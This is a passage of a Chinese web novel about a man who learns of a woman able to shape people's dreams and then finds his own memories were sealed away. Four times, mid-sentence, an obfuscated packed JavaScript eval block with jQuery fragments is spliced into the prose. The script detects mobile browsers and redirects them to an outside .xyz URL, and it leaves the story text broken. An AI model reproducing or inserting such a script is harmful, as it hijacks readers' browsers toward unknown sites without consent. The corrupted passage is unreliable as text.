听到“医院”两字,老太太忙摇头加摆手,表示不去。年轻女人说了句谢谢,之后就进了房间。她关上了房间门,一切复又安静下来。老板虽然觉得有点担心,但还是蹲下继续贴他的瓷砖去了。只不过奇怪的是,他一蹲下,那种昏昏沉沉的感觉又来了。老板拿起手边的水泥包装看了一眼,天明牌水泥,破天明牌,臭天明牌,劣质产品。
谁不知道钱难赚屎难吃,虽然很难闻,他还是继续一块块瓷砖地贴了下去。昏沉的感觉始终存在,一点都没有缓解,而等他终于快要贴完的时候,他忽然觉得心跳加速。这一阵加速来得很莫名其妙,来得很剧烈,他的心脏在发疯,血管里的血液奔涌着冲向大脑,一阵阵如同惊涛骇浪一般的血流过去之后,他砰地一声倒在厕所的地面上。
他以为自己要死了,但他的心脏又瞬间回到了正轨。它在短暂的缓冲过后,心率回归到他平时的范围。一切不适感都消失了,只是坐在水泥地上的屁股有点疼。
中医正骨馆装修了好些天,老板一开始有点抗拒再去,但他最后还是克服了他的恐惧——一是为了钱,二是为了那个漂亮的卷发女人。女人很漂亮,但她也很安静,见过他几次,她认得他以后,当他热情地跟她打招呼,她也会微微笑着跟他说“你好”。她的声音比较低沉,和她青春靓丽的脸有些不匹配,她的嗓音给人一种安心的感觉,会让人想起一千公里以外的家,和年迈的母亲。
“打住打住,我问你这海浪声是哪里录的,你怎么跟我讲你的爱情故事?”
受不了了,凌晨三点,表哥和美女约会,路迢和他的林黛玉约会,而我在这里听一个六十岁的阿叔讲他三十年前的情史。
老板看了我一眼。这个狡猾的东西,他听出了刚刚那句话是我说的,而不是二十岁的江夷说的。
二十岁的江夷好像在思考,他没说话,我假扮他,冷声催促道:“别拖时间,继续说。”
老板被我喝得一震,又接着讲后面的故事。
老板开始了对女人的追求。
女人对他兴趣不大,但老板后来发现,她对所有人,所有活物,所有死物,兴趣都不大。她虽然不喜欢他,但是不讨厌他。中医正骨馆的装修很快就完成了,但老板和他的同乡就住在附近的出租屋,他们常常在这一带活动,老板时不时就找个理由到医馆去。女人总在店面后面的房间里,除了第一次来时看见的那个老太太,有时候还会有几个中年女人来。老板在医馆观察许久,大概也认出了老顾客,某一天,竟然有个年轻男人来找他的卷发女郎,他看着男人进了屋,看着他们关上了门。老板心情复杂,又好奇来人是普通顾客还是她的恋人,又不知道以什么理由以什么身份去探听,正好一个学徒过来问他要不要按摩正骨,他说要,之后就在最靠近女人所在的房间的床上趴了下来。
学徒的手艺很好,一开始老板疼得龇牙咧嘴,慢慢地,他就在这种均匀的酸痛感中睡着了。他做了梦,梦境分外清晰,他梦见了医馆,梦见他趴在按摩床上,满心不忿地想他的心上人和今天来的年轻男人。想着想着,那边的房间里忽然传来一声巨响,之后是女人的哭声。门被打开,一个怒气腾腾的男人走出来,房间里卷发女人捂着脸,正坐在地上哭。老板想也没想,从床上蹭地爬起来,冲着经过的男人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957355|177656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鼻子上,就是狠狠一拳。
醒来的时候他还气着呢,但站在他面前的不是男人,是卷发女人。她看着他,眼神有些陌生,她好像变了一个人,被她迥异于平时的审视目光看着,老板怀疑自己也变了一个人。
她说,你刚刚在做梦?
啊……呃,可能是吧。
那一场梦过后,卷发女人对他的态度好像变得热情了一些。他还是天天来,通过和她寥寥无几的几次交谈,他知道了她的一些信息。她不是医馆老板的女儿,她是他的合伙人,但她平时不太管事,她只在后面的房间里,接待几个老vip顾客。店里的人叫她“珩姐”,他也叫她“珩姐”,在他锲而不舍的追求之后,她的态度松动了,她让他叫她“珩”。他们两个人逐渐开始了暧昧,在老板认识她的第六个月,他们确定了恋爱关系。
他和她讲起那个梦,他说真神奇,事情好像就是在这场梦开始改变的。出乎老板意料的是,珩听他讲完他离奇而又真实的梦境,她一点也不惊讶,她就好像一个大学数学老师,在听一个小学生惊奇地讲勾股定理有多神奇——她微微笑了笑,她说,我知道。
“她知道你梦见她了?”
真该死啊,我凌晨三点听别人的爱情故事,居然还听上瘾了。
“不止……她,她……”
“她什么?你快说啊!”
她不仅知道他的梦境,她还知道他在想什么。
她知道他喜欢她,知道他在怀疑,知道他在嫉妒,知道他恶毒地盼望她被旧的恋人抛弃,然后他就可以当救美的英雄。她说那场梦,是她让他做的。
“我关掉了你大脑里的某个开关,让你把你压抑的想法变成了梦。”
她就跟老板说了这么一句古怪的话。老板没读过多少书,半懂不懂,但也无所谓了,他想要得到的东西已经得到了。那时候是九十年代,人还没有那么开放,恋人很少在婚前发生关系,老板好色,但他出于一些自私的想法,并不想和她步入婚姻。他对她的家庭一无所知,这个美丽的女人是一个谜,她说她二十五岁,比他小五岁,但她似乎有着远超于她年龄的深沉智慧,虽然她很少表露,但他觉得在她面前,他是一个透明人。他找了个借口搪塞结婚的事,但聪明的珩居然相信了他的说辞。某一次两个人约会,情到浓时,他的欲望盖过了道德,虽然他对和她结婚这件事还不十分笃定,他还是提出想和她发生关系。
珩同意了。
但很奇怪的事情发生了,他和她欢爱的时候,他伸手抚摸她的长发。她的长发很柔软,很柔软,完全不是她那头卷发的手感。他要看她的脸,屋里的一切都很清晰,唯有她的脸是模糊的,他想揉揉眼睛,但这一个动作好像碰掉了什么,一个硬物砸在了他的额头上,眼前的她一晃,之后消失了。
他躺在床上,而砸到他脸上的闹钟,又滚落在旁边的枕头上。屋里放着助眠的海浪声,他昏昏沉沉的,这感觉好熟悉……是那天他在厕所贴瓷砖时的感觉。是他梦见她被男人打之前的感觉。是……是他好多次在她附近睡着,从美梦中醒来时的感觉。
他在做梦。
做一个连头发触感都真实的梦。
5. 绿毛少女
那一刻他的心里已经没有爱了,他只觉得害怕。刚刚那个珩,是他的一场春梦,所以他看不清她的脸。那之前呢?那他所在的这个房间呢?这半年里他所见所闻,甚至所知所爱,到底有多少是真的,又有多少是他的梦境?
房间里是均匀的海浪声,一波接一波,海浪扑到岸上,沙,之后退去,呼,咕咚咕咚,扑上来,沙——
就像恐怖片里的主角一样,人类贪生怕死,又充满好奇。他们怕鬼,又要找鬼,遇到美丽的女鬼,还要追求一下。
他摸到了自己的手机,打开了录音键,把这令人昏沉的海浪声录进了他的手机。
手机的录音时长很短,二十秒之后,它叮了一声,提示他录音结束。
他被这提示音吓得一震,他多怕珩会在那一瞬间冲过来,抓住他,撕裂他,吃掉他。他几乎是逃跑一般,拎着外套就跑了出去。
但珩没有拦他,等他跑下了楼,从天井往上看,他看到了珩家里的厨房。她的剪影映在窗上,她在做宵夜,她如此闲适,如此无所谓地拿筷子搅散锅里的面条,好像并没有发现他走了,又好像并不在乎他到底还在不在,或是来没来过。
他没敢再看,转身跑了。
后来的事情就很明白了。老板拿着这段录音,回到了家乡东海市。某天他鼓起勇气,打开手机,播放了这段音频,他发现自己在这海浪声中,莫名地就进入了一场很真实的梦境。这发现让他安下心来——珩能让他做梦,全靠这段诡异的海浪声,只要他不打开它,他的世界就是真实的。
他是个很有生意头脑的人,那天的春梦给了他灵感,他开了一个发廊,表面是发廊,实际上是风月场所。他在梦境里做了一个水池,水池以外是他的梦境,水池以内是客人的梦境,他们自己跳进梦里,自然就会和自己最喜欢的女人交欢。
但他只能重播珩给他的梦境,而不能进行创造,而且他不能像珩一样,把人丢进深沉的梦里,而自己置身事外,还在客厅那头的厨房做宵夜吃。客人入睡,他就要跟着入睡,而梦里的他,一直是他和珩分别时的模样。他始终害怕珩来找他,虽然事实证明,他高估了他在珩心里的分量。几十年来珩一直没有音讯,但他做贼心虚,结婚之后,他先是拿老婆的名字注册发廊,等东海市旅游业发展起来了,他建了这个人鱼电影院,又拿自己儿子的名字去注册——儿子甚至是跟老婆姓的。他害怕珩害怕到这个地步。
他只是一个普通人,并没有构筑梦境的能力,所有东西都是他记忆的重新组合。他的发廊是火车站对面的美容院,他的水池是东海游泳馆,他的房间是出租屋的房间。那些他刻意要避开的,和珩相关的记忆,总是时不时冒出来。医馆的枕头在泳池里漂浮,她的塑料拖鞋摆在池边。他想总要把场景变得离奇一些,他的记忆才不会把她的东西混到里面。于是,他把泳池的背景弄成了他几年前去旅游时去参观的电视塔,客人们非得坐电梯去到108层楼的高空,之后再跳进他的东海游泳池里。
凌晨四点了。真他妈该死啊。我不仅听了个爱情故事,还听了个渣男的,还听了个恐怖的。二十岁的江夷还在思考,他的CPU可能快烧了,幸好我没有CPU,我回想着故事里的女主角,珩,珩,这个珩比他小五岁,现在也该五十多岁了。特异功能人类我听得多了,还不曾见过,不知道现在的她变成怎样了?
但对她的好奇到底没有对我自己的好奇多,如果老板说的是实话,梦里的其实是我的潜意识,那二十岁被追杀的江夷,陷在水底的城市,和沉没的保险箱,这些都是我的潜意识?我想起路迢,想起他的乐什么,乐广。我可以梦见在天上骑自行车,因为我坐过飞机,也骑过自行车,这不过是我记忆的杂乱拼合——但我没梦见过五角星形状的车轮,九个脚踏的美团单车,四个头的鱼扇动它的两个头飞上了天,用一个头来看路,剩下一个头来调整方向……按照这个逻辑,那我看见的事情,或多或少真实地发生过。
我的头有点痛。我的人生如此平凡,如此无聊,如此乏善可陈。哪里来的人追杀我?
这种好奇超过了恐惧,我问出了这一晚上最大的一个问题。
老板显然也被我吓到了,他看我的眼神好像在看一个视死如归的大无畏勇士。
“那个中医正骨馆在哪里?”
……
婚礼结束之后,我和路迢坐大巴回去。一路上大巴摇摇晃晃,车里还有种空调很久没洗座椅也很久没洗的怪味。几天前那个噩梦真是够折磨人的,二十岁的江夷始终堵在我的胸口,昨天喜宴,我看着一桌子好菜,什么胃口都没有,连平时最喜欢的红豆百合莲子糖水都喝不下去,喝半碗我就开始犯恶心。现在大巴堵在收费站前面,车子走走停停,我闻着车里的怪味,那一阵阵的恶心根本压不住,车子一个刹车,我胃里的东西差点就跟着我的身体扑出来,我赶紧扯过一个红色塑料袋,哇哇的就开始吐。
吐是没有用的,该死的二十岁江夷是吐不出来的,而该死的路迢,直到现在,三天半的时间过去了,他还在回味他的春梦。我在这里干呕,他在那里神游天外,嘴角还带着些不由自主的甜蜜微笑。人的悲欢果然不相通,我吐得从胃到喉咙都火烧火燎的,他用他十倍温柔于平时的声音喊我:“江夷啊。”
“说。”
“我收回几天前我说的话,乐广是对的。”他的嘴巴在跟我说话,而眼睛显然是没在看我,“我的想象相比于一个现实中的可爱女孩还是太过单薄,我应该走出自己的幻想,好好去谈一段恋爱。”
我没回复他,我是个心胸宽大的人,虽然我很烦他,但是我没有刻意不理他,我不回复他是因为我又开始吐了。
我是个心胸宽大的人,但他真不是个东西。
他“哎”了一声,好像很惊奇,我都吐三天了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957356|177656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他好像才发现我一直在吐。
“江夷啊,你怎么吐这么厉害啊?我记得你来的时候也不晕车啊,你……你该不会是……”
也是我天真,我居然以为他能说什么有建设性的话,我眼睛冒眼泪额头冒冷汗,惨白着一张脸,从红塑料袋里抬头看他。
“你该不会是怀孕了吧!不是,我的意思是,你都梦见什么事情了?就是不是发生了什么事情让你的潜意识觉得你怀孕了?”
……
本来我还想拖一些时候,等我自己先把事情盘清楚了,之后再去找珩,但胸口的异物感,和路迢那些充满想象力的猜测,都让这件事变得紧急起来。
我是在回来之后的第一个周末去找珩的。
老板给我的地址离我工作的学校并不远,据他所说,中医正骨馆开在一个旧小区里面。旧小区还在,那是以前九十年代附近自来水厂的员工宿舍,里面格局没有变化,我几乎没费多大力气,就找到了他给我的地址。
但那里是一个老年社区活动中心。
我去的时候是早上十点多,很多百无聊赖的阿伯阿婆已经坐在外面的小花园里聊天,等待十一点长者饭堂放饭。社区活动中心的玻璃大门只开了一边,门外面的铁闸留出来一条仅供一人通过的缝。我的身形相对于这条缝有些过大,我把铁闸往外推了一点,它随即发出一阵聒噪又刺耳的金属响声。屋里面几个忙着搬饭菜和擦桌子的人纷纷看向我。
一个穿着红色背心,看起来像是志愿者的阿姨走向我。
她看起来五六十岁,头发烫成硬邦邦的小卷,脸上纹着一双长长的细眉,她的双眼皮很深,眼皮还没太松弛,整体来说是个精致的阿姨。她和老板描述中的珩有些相似,我的心跳不由得加快几分。
“请问你是哪位?”
“你好,我是来找人的,请问‘珩’在这里吗?”
“珩?”她那双曾经十分漂亮过的眼睛很快地将我扫描过一次,她的声音很温柔,但眼神分明很警觉。大概是我看起来比较良民,她问道:“你找阿珩吗?”
“啊……”我也不知道是哪个珩,先凑合见着吧,“啊对。”
阿姨闻言,转身往社区活动中心里面喊道:“阿珩,来找你的!”
老旧的壁钟“当”地响了十一声,就悬在我头顶的大喇叭里传出阿姨的声音——“请各位老人家有序前来就餐”——之后铁闸门打开,我在一群汹涌而来的白发苍苍的脑袋里,看见了阿姨口中的“阿珩”。
她很显眼,但显然,她和老板嘴里的“珩”不是同一个人。她长得并不高,但因为纤瘦,身形显得格外修长。她皮肤很白,留着一头过耳短发,头发染成深绿色。她是从厨房里走出来的,身上围着围裙,均码的围裙看起来能把她瘦削的身体严严实实地围上一整圈。她那个绿色的脑袋,陷入一片花白的移动的脑袋里,慢慢地向我走来。
6. 噩梦再续
她做饭一定很好吃,不然这群闲得发慌的阿伯阿婆,绝不会对她这头扎眼的绿毛保持道德上的沉默。
她穿过这一整群老人,来到我面前。我这时候才注意到她的穿着——这再一次从侧面印证了她征服了这群碎嘴阿伯阿婆的胃——她穿着一件很宽大的T恤,短裤消失在衣服底下,看起来像没穿裤子,而竹竿似的两条腿,下面是一双高帮篮球鞋,因为腿太细,鞋看起来大得过分,虽然实际上可能只有37码左右,但它的观感和我脚上的鞋无异。
她仰头看向我。
我从她这里看不出任何“珩”的痕迹,老板口中那个珩,温婉,文静,神秘,而这个绿毛少女,看起来像个减肥过度的杀马特太妹。我觉得她不是,但我胸口里的二十岁江夷对此持保留态度。
“你好。”
她看了我一眼,甚至没有像刚才那个阿姨一样审视我,但是我明显地感觉到二十岁的江夷警惕起来了。
“你好,请问是谁介绍你来的?”
……
来之前老板千叮咛万嘱咐,说是为我着想不想我被珩轰走,实际上是怕珩发现他还活着之后过来找他麻烦,他让我千万别报他名字。
但她看着我的眼睛。非常直接地,看着我的眼睛,近乎逼视。
我报出了老板的名字。
她好像是不认识他,但这个问名字的步骤好像只是个仪式,她轻轻地“哦”了一声,之后问道:“请问贵姓?”
“免贵姓江。”
“好,江先生,”她转过身就往前走,“请跟我来。”
一屋子的阿伯阿婆在吃饭,那个绿毛少女,那个阿珩,她带着我这个第一次见面的陌生男人,就这样从人群中穿过,走向里屋。社区活动中心里穿着红背心的几个志愿者正在专心发饭,我跟在阿珩后面走过,他们连头都没抬。而阿伯阿婆们,一点不看她,统统都看我。虽然现在是我一个大男人跟在一个竹竿一样的少女走进屋,但他们的眼神让我觉得处境比较危险的是我而不是她。
这里是个社区活动中心,光天化日之下,我也不能被杀掉分尸。我虽然觉得奇怪,但并不害怕,我一路跟着她,走出了活动中心的餐厅,穿过一片小花园,又走进另外一栋两层高的矮楼里。她领着我走过一条很长的走廊,走廊的采光很好,侧边是玻璃窗,玻璃窗,墙,玻璃窗,墙……阳光随着她的位置变化,一阵阵照在她身上,她那头绿毛染得真漂亮,大概是新染的,染色均匀,在暗处它看起来是墨绿色,在明处它则变成翠绿色,像碧玉。
跟她走的时候,我想起老板口中的珩,和电影院里的海浪声。但这里很安静,走廊里只有我们两个人的脚步声,但不知怎的,随着她往里走,我渐渐有点奇异的感觉。我的身体好像变轻了,身上紧绷的肌肉莫名地放松下来。我轻易地堕入这种舒适里,而二十岁的江夷警铃大作,我被他吓醒,警惕地看了一下周围。
走廊到头了,这里是几个阅览室之类的房间,其中一个阅览室里有几个小孩在看书写作业,阅览室一角的餐桌还有小孩在吃饭。阅览室对面的房间向阳,里面有几个阿婆坐在躺椅上晒太阳打瞌睡。珩带我走进房间,领我走到一个躺椅旁边。我没躺下,只是坐着,她拉了个彩色塑胶凳子,在我旁边也坐下。
我旁边阿婆睡得打呼噜,对面小孩开饭了,叮叮当当的碗筷声时不时传到这边来。环境很寻常,唯一不寻常的是眼前这个绿毛少女。二十岁的江夷抢在我前面开了口:“你好,我要找的珩——”
“这里就我一个‘珩’。”
少女打断了他的话。
“但是……”
“但是这里就我一个‘珩’。”
她的视线逼近我,阳光照进她的眼睛里,我分心了,留意到她的眼睛是很浅的琥珀色,而一直在给我报警,拉着我的心脏狂跳的二十岁江夷,他安静了下来。他好像……睡着了。
我,我也快了。
二十岁江夷一倒,我在中午灿烂的阳光中也倒下。我看见我自己躺倒在躺椅上,即将和旁边的阿婆一样陷入深沉的睡眠。睡着之前,我看见珩靠近了我。
她问我:“江先生,你为什么来找我?”
她的声音如有魔力,我头脑昏沉,几乎没有意志力,没有胸口里那个二十岁江夷,我轻易地吐露心声。
“我做了个很逼真的噩梦,梦见了二十岁的我。”
“他在哪?”
我指了指自己心脏的位置,之后就跌进了彻底的黑暗里。
唤醒我的是那一阵古怪地循环着的海浪声。
我忽而又出现在东海市的人鱼电影院里,人鱼表演刚开始,她们在我头顶蓝色的鱼缸里游来游去。我没看见珩,但听见了她的声音。
噩梦还在两个小时开外,但那天的恐惧已经提前到来。
“我怎么在这里?”
“江先生,这是你的记忆。我觉得我亲眼看一次你的梦效率会比较高,如果你愿意的话。”
人鱼电影院老板和二十岁江夷拉高了我对荒谬的定义值,她把我清晰地拉回到自己的记忆里,我居然没有多惊讶。呃……她都能随便钻进我的脑子里了,此时的我犹如当时被我逼到墙角的老板,她要动手我也反抗不了,看她似乎还是真要帮我的,我没必要隐瞒什么。
“行。”
话音刚落,静止的画面开始播放,我人在自己的身体里,却只能跟着自己的记忆活动。我看人鱼,睡过去,在梦中和表哥路迢坐电梯上108层,跳进水里——然后是那条游向我的金色人鱼。
……我的记忆里没有珩,但我知道她在看,我真是一点都不理解为什么这世上会有暴露狂,一想到现在有个未成年正近距离看我和人鱼亲热我就浑身难受。
接下来只是噩梦的重复,二十岁的江夷被追杀,之后砰地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957357|177656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
钻到我心脏和胸壁之间,我从窗口爬出去,被倒吊,在暴风雨的夜晚,坠入冰冷的海水中。保险箱从坍塌的大楼里掉下,它砸穿水底建筑的玻璃穹顶,急促的水流将我拖拽下去——
之后我在梦境结束的位置听到了珩的声音。
今天是我第一次见她,但就现在她随手把我悬停在水中间的行为,我有充分的理由怀疑她和老板的珩有些许血缘关系。她真是对人对物对除自己之外的一切都不太在乎,刚刚我担心她一个未成年看我跟人鱼亲热会不舒服,真是担心得太多,在她眼里我大概就是一坨肉。现在我这坨肉正被水流拉长成一条,在一堆沉没的瓦砾钢筋中间暂停,一根钢筋就在我头的正上方,但凡它再沉一米,它就要戳我脑袋上。珩完全不管我,她的声音依旧冷静,她问我:“江先生,你平时身体怎样?”
“啊?”她问得莫名其妙,“还行吧?”
“接下来的部分是你剩下的梦境,你要看吗?”
我低头看,水底被砸开的玻璃穹顶,成了个幽深的黑洞洞,我凝望着它,它凝望着我。它象征着我更深一层的梦境,记忆之外的世界,象征着属于我而我不曾涉足的领域。我想大概没有人能抵挡住这样的诱惑,尽管等待着我的,可能是另一个噩梦。
我点了点头。
这里确实是我记忆和梦境的交界,我能动了。
“好,小心躲避掉下来的东西。”
……
她真是贴心,比跳楼机贴心多了,她按下开始键之前还给我提醒了一下,还好我反应快,她话音刚落,整栋楼的碎片就下雨似的向我脸上身上砸过来。
幸好我身手还不错,我在湍急的水流里左右闪避,我光顾着躲避落石,等我再看路,我已经沉到了很深很深的地方。楼房坍塌激起的水波还没平复,海水中细碎的气泡往上升,这里水很深,仅剩的一点光线照在气泡上,像夜空中的繁星。在这点点的白色星光中,我忽然看见两截雪白的小腿,一件被水充起看起来像个大气球的蓝色T恤,还有……深绿色的头发。珩跟着我来了,她的头发在水里显得颜色更深,藏在同样深绿色的海水中,要不是那些亮晶晶的气泡从她头发之间的间隙钻过,我几乎无法把它们分辨出来。
看见她,我不由得安心了些。
但我开心得太早,因为下一秒我就被吸到了玻璃穹顶之下,穹顶瞬间愈合如初,我落在建筑物的底层,我抬头看,砖石瓦砾都没进来,珩也没进来。她轻盈地落在穹顶之上,从我这里只能看见她的鞋底。
建筑物里充满了水,因在水底,尽管水里什么也没有,这里看起来还是有点发灰发绿。我环视一周,这建筑物的质地比寻常的梦境要真实得多,无论我往哪里看,细节都是清晰的,我能看见咨询台顶上的多国语言指示牌,能看到电梯边上的彩色导览图。这沉没的建筑里像是马上要发生一场噩梦的样子,但截至目前,什么都没有。
7. 记忆空隙
我从来不玩跳楼机,等待下坠的过程远比下坠本身要恐怖。这时候要直接有个水鬼扑过来,我也许还能痛痛快快跟他打一架,但现在任何东西都可能在任何时候,从任何地方冒出来,我心里有些发毛。
我冲穹顶上珩的鞋底大喊:“你怎么没下来啊?”
“我下不来,”这里就和人鱼电影院的108层水池一样,我能清楚地听到珩的声音,“这是你的潜意识,严格来说,这是二十岁的你的潜意识,他不是很欢迎我进来。”
……臭小子警觉性还挺高,丢我一个在这地方几个意思。
“那我要干嘛,我到处看看?能看吗?”
“你试试?”她在穹顶上走动,之后伸手指向扶手电梯旁边的导览图,“能看到上面写的是什么吗?”
我向电梯走去,一切平静,我很顺利地看到了上面的字。“这是个图书馆,八层楼,北边一层报刊阅览,二层文学类,三层自然科学类,四层历史类……南边是儿童阅览室和机房。”
“保险箱呢?”
“保险箱……我记得刚刚我追着它下来,它没在地上,可能是在图书馆地底?但是地面没有洞。”
“你往它所在的位置踩一下?”
我比对着刚才穹顶破洞的位置,大概找到了它可能落地的地方,我试探着伸出脚,往下踩。很平静。我踩到了地面,没有任何水鬼过来打我。
“没东西,地面是完整的。”
“你看看楼下是什么?”
“负一层报告厅,负二层停车场,负三层通向地铁站。”
“明白了。”珩说,“你看看楼上能去吗?二十岁的你理论上不会给自己设限,你理论上能进去看。”
“理论上?”
“意思是,如果你遇到什么东西不让你过去,那障碍物大概率来自外人,而不是二十岁的你自己。”
我试着走向电梯,图书馆全泡在水里,但电梯居然还在运行。隔壁的观光梯看起来更恐怖一点,至少扶手梯露天,我走上了扶手梯。我一踩上去,压力传感器启动,电梯开始加速。我警惕着随时可能出现的水鬼,我忽然想起人鱼电影院里的梦境。理论上,啊理论上,我想拿点什么武器,手里应该就能出现什么武器。
我良民一个,一辈子遵纪守法,要我想象一个具体的武器,我居然想不出来,电梯都快到二楼了,我才选好了武器。
嗯,一根不锈钢水管。
我提着一根水管走上二楼,这里就是一个寻常的图书馆,除了没有人,一切都正常。电脑开着,书架上摆满了书,自助借还机停留在预备工作的界面上。我做好战斗准备,右手握紧水管,左手伸出一个指头戳了戳自助借还机屏幕上的“借书”,之后标准的女声响起:“请把书籍按指示放在感应区,一次一本。”我以为来了个女水鬼,差点给机子来了一水管。
我一层层往上走,因为时间有限,手里武器也很差,而且就我一个人,我实在不敢走到书架那边。粗略地看了一下,每一层都正常,至少没有鬼。珩在楼顶鼓动我坐观光电梯,我也是鬼迷心窍,胆子很大,居然真进去了。观光梯还行,和我目前探索的其他区域一样普通。珩在楼顶问:“你要下去看看吗?”
“行啊,来都来了不是。”
说完我想起保险箱可能在地底下,我手比脑子快,没反应过来害怕,手指已经按下B1层。电梯在往下走,我怂了,在观光梯碰到水鬼,那可真是远远不如在扶手梯碰到,好歹扶手梯露天,能给我点打架的空间。我赶紧按下1层。
电梯开门,我闪身出来。
我就看着它下去,“叮”的一声,观光梯大概在负一层开了门。
……风平浪静。
我握紧手里的水管,走向隔壁向下的扶手梯。
“我下去了?”
“嗯。”
“会有什么?”
“不知道,”珩回答,“不过你现在在做梦,大不了就醒来。你人现在在社区活动中心,很安全——”
我一脚踩上扶手电梯,电梯马上开始加速,事情来得很快,这里没有水鬼,什么都没有,当我的身体沉入地面的瞬间,一阵极其强烈的恐惧感涌向我。我……我说不清这是什么。我听到我自己在尖叫,所有血液都在冲向我的大脑,之后是缺氧,窒息感,这一切都过于真实,在我胸口沉睡着的二十岁江夷忽然醒了,他双手抓上了我的心脏,之后往两边撕扯,我身上的血液瞬间喷涌而出。
我再次陷入黑暗。
再睁眼时,场景已经是社区活动中心的休息室了。
我浑身是汗,心率飙到前所未有的180,我连眼睛都没对上焦,我盯着面前的珩看了快半分钟,她才从一个模糊的光影,变回一个人。她看着我,对一切都漠不关心的浅色眼睛里,居然有了些情绪波动。
“我醒了?”
“对。”
“那是什么?我什么都没看见,就感觉他,他,”我指了下自己的胸口,“他醒了,他发了疯一样把我的心拽出来撕开,太像真的了,那一瞬间我感觉所有血都流出来了,这是记忆还是噩梦?我……”
我仓皇地想爬起来,她伸手拦住我,示意我躺下。我复又跌在躺椅里面,隔壁的阿婆还在打呼噜,对面的小孩刚吃完饭,阅览室那边传来兵荒马乱的收拾餐具声。珩坐在我旁边,看着我。
她没说话。我想我该休息一下。
等我的心率慢慢回复到我可以呼吸的频率时,她开口了。
她又问我一些奇怪的问题。
“江先生,你记性好吗?”
“还可以吧,但是四年前我被球踢到后脑,住了几天院,那次之后好像忘记了一些很久以前的事情。”
“你说一个好朋友的名字?”
“……路迢。”
“他是你的同事?是在受伤之后认识的?”
“对。”
“那关系比较好的大学同学?”
“……”
“中学同学?”
“……”
“依我这一个小时对你的了解,我觉得你应该不是个没有朋友的人吧?”
“……我不是。”
“那你的父母呢?”
“很早就去世了,我跟奶奶住。”
“你记得葬礼上的事情吗?”
“……”
“小时候你遇到过最可怕的一件事是什么?”
“……”
不记得。她说的所有东西,我一点都不记得。
说“忘了”还不准确,因为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957358|177656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忘记了的事情会在大脑里留下一个模糊的轮廓,我知道有这件事,只是我记不清细节,但她说的这些人和事,我关系很好的同学,我的父母……所有所有,我一点印象都没有。
“江先生,”她的语气变得沉重了一些,“你的记忆可能被抽走了一部分。从我刚刚问你的情况看,这一部分的跨度可能长达十几年。”
我的心跳已经平复下来了,但我整个人都在冒冷汗,我像一个从海里捞出来的可怜蛋,浑身湿透,瑟瑟发抖。
“如果一个人忘记了一天的事情,他不会发生什么变化,但你丢掉了这么大一段记忆,你人生的关键人物和事件都忘记了,理论上来说,你会疯掉,前言不搭后语,形成不了个人的逻辑,”她看向我,“但你没有。你很正常地生活着,如果不是这个梦,你将一直这样正常地生活下去。如果我不提起,你也不会发现你的记忆是不完整的。”
我预感到她接下来说的话会破坏掉我一贯以来平静甚至无聊的生活。二十岁的江夷也意识到了,他在认真听。
“你那个噩梦我仔细看了,你没有观测到的部分,细节依然是完整的,在楼里被追杀,以及后面被倒吊在窗外的部分,是你的记忆。
而水面之下的城市,是你被压制的潜意识,这座城市属于你所说的‘二十岁的你’,有人将他的记忆全部沉到水底,所以关于他的很多事情,你一点都不记得了。而你之所以能正常生活,是因为有人给你植入了一段新的记忆,这个人给你编造了一部分的过去,给了你一个新的身份。”
我的心脏在剧烈跳动,而二十岁的江夷始终沉默着。什么意思?二十岁的江夷是真的,现在活着的,能吃能睡能走路能说话的我,反而是假的?
我到底是谁?
“你所说的那个人,他……他这么做是为什么?让我忘记我的过去,给我一段虚构的记忆?”
“不知道。但从我刚刚所观察到的来看,他没有摧毁你的‘城市’,他只是让它完整地沉没,而你的图书馆里,也只有负一层被封锁。能做到这一点的人不多,以他的权力和地位,如果是因为以前的你知道一些机密,他想要保密,他可以轻易地把你杀死,但他却给了你一个新的身份,让你重新生活。”
她看向我,琥珀色的眼睛中似有几分悲悯。
“我怀疑你忘掉的,是一些你最好这辈子都别记起来的东西。”
……
